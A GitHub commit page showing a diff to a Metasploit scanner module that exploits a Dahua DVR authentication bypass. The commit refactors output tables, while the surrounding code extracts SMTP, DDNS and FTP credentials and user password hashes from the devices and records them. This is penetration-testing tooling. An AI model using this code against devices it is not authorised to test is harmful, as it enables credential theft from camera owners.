Skip to content

Commit 797bd9e

Browse files
committed
added peer to each table and added each users groups to the users table
1 parent bda6c94 commit 797bd9e

File tree

1 file changed

+20
-23
lines changed

1 file changed

+20
-23
lines changed

modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb

Lines changed: 20 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -113,12 +113,12 @@ def grab_email
113113
print_status(" Destination Email: #{data[1]}") unless data[1].blank?
114114
mailserver = "#{mailhost[0]}"
115115
mailport = "#{mailhost[1]}"
116+
muser = "#{data[5]}"
117+
mpass = "#{data[6]}"
116118
end
117-
return unless data[5].blank? && data[6].blank?
119+
return if muser.blank? && mpass.blank?
118120
print_good(" SMTP User: #{data[5]}")
119121
print_good(" SMTP Password: #{data[6]}")
120-
muser = "#{data[5]}"
121-
mpass = "#{data[6]}"
122122
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
123123
report_email_creds(mailserver, mailport, muser, mpass)
124124
end
@@ -136,13 +136,13 @@ def grab_ddns
136136
data.each_with_index do |val, index|
137137
next if index == 0
138138
val = val.split("&&")
139-
ddns_service = "#{val[0]}"
140-
ddns_server = "#{val[1]}"
141-
ddns_port = "#{val[2]}"
142-
ddns_domain = "#{val[3]}"
143-
ddns_user = "#{val[4]}"
144-
ddns_pass = "#{val[5]}"
145-
ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}", "#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"]
139+
ddns_service = val[0]
140+
ddns_server = val[1]
141+
ddns_port = val[2]
142+
ddns_domain = val[3]
143+
ddns_user = val[4]
144+
ddns_pass = val[5]
145+
ddns_table << [ ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
146146
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
147147
ddns_table.print
148148
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
@@ -165,8 +165,8 @@ def grab_nas
165165
ftpuser.strip!
166166
ftppass.strip!
167167
unless ftpuser.blank? || ftppass.blank?
168-
print_good(" Nas Server: #{server}")
169-
print_good(" Nas Port: #{port}")
168+
print_good(" NAS Server: #{server}")
169+
print_good(" NAS Port: #{port}")
170170
print_good(" FTP User: #{ftpuser}")
171171
print_good(" FTP Pass: #{ftppass}")
172172
report_creds(
@@ -175,7 +175,7 @@ def grab_nas
175175
user: ftpuser,
176176
pass: ftppass,
177177
type: "FTP",
178-
active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil?
178+
active: true)
179179
end
180180
end
181181
end
@@ -184,18 +184,16 @@ def grab_channels
184184
connect
185185
sock.put(CHANNELS)
186186
data = sock.get_once.split('&&')
187-
disconnect
188187
channels_table = Rex::Ui::Text::Table.new(
189188
'Header' => 'Dahua Camera Channels',
190189
'Indent' => 1,
191-
'Columns' => ['ID', 'Channels']
190+
'Columns' => ['ID', 'Peer', 'Channels']
192191
)
193192
return unless data.length > 1
194-
print_good("#{peer} -- camera channels:")
195193
data.each_with_index do |val, index|
196194
number = index.to_s
197195
channels = val[/([[:print:]]+)/]
198-
channels_table << [ "#{number}", "#{channels}" ]
196+
channels_table << [ number, peer, channels ]
199197
end
200198
channels_table.print
201199
end
@@ -209,12 +207,12 @@ def grab_users
209207
users_table = Rex::Ui::Text::Table.new(
210208
'Header' => 'Dahua Users Hashes and Rights',
211209
'Indent' => 1,
212-
'Columns' => ['Username', 'Password Hash', 'Permissions', 'Description']
210+
'Columns' => ['Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
213211
)
214212
data.each do |val|
215213
usercount += 1
216-
user, md5hash, rights, name = val.match(/^.*:(.*):(.*):.*:(.*):(.*):.*$/).captures
217-
users_table << [user, md5hash, rights, name]
214+
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
215+
users_table << [user, md5hash, groups, rights, name]
218216
# Write the dahua hash to the database
219217
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
220218
report_hash(rhost, rport, user, hash)
@@ -240,13 +238,12 @@ def grab_groups
240238
groups_table = Rex::Ui::Text::Table.new(
241239
'Header' => 'Dahua groups',
242240
'Indent' => 1,
243-
'Columns' => ['ID', 'Group']
241+
'Columns' => ['ID', 'Peer', 'Group']
244242
)
245-
print_good("#{peer} -- groups:")
246243
data.each do |val|
247244
number = "#{val[/(([\d]+))/]}"
248245
groups = "#{val[/(([a-z]+))/]}"
249-
groups_table << [ number, groups ]
246+
groups_table << [ number, peer, groups ]
250247
end
251248
groups_table.print
252249
end

0 commit comments

Comments
 (0)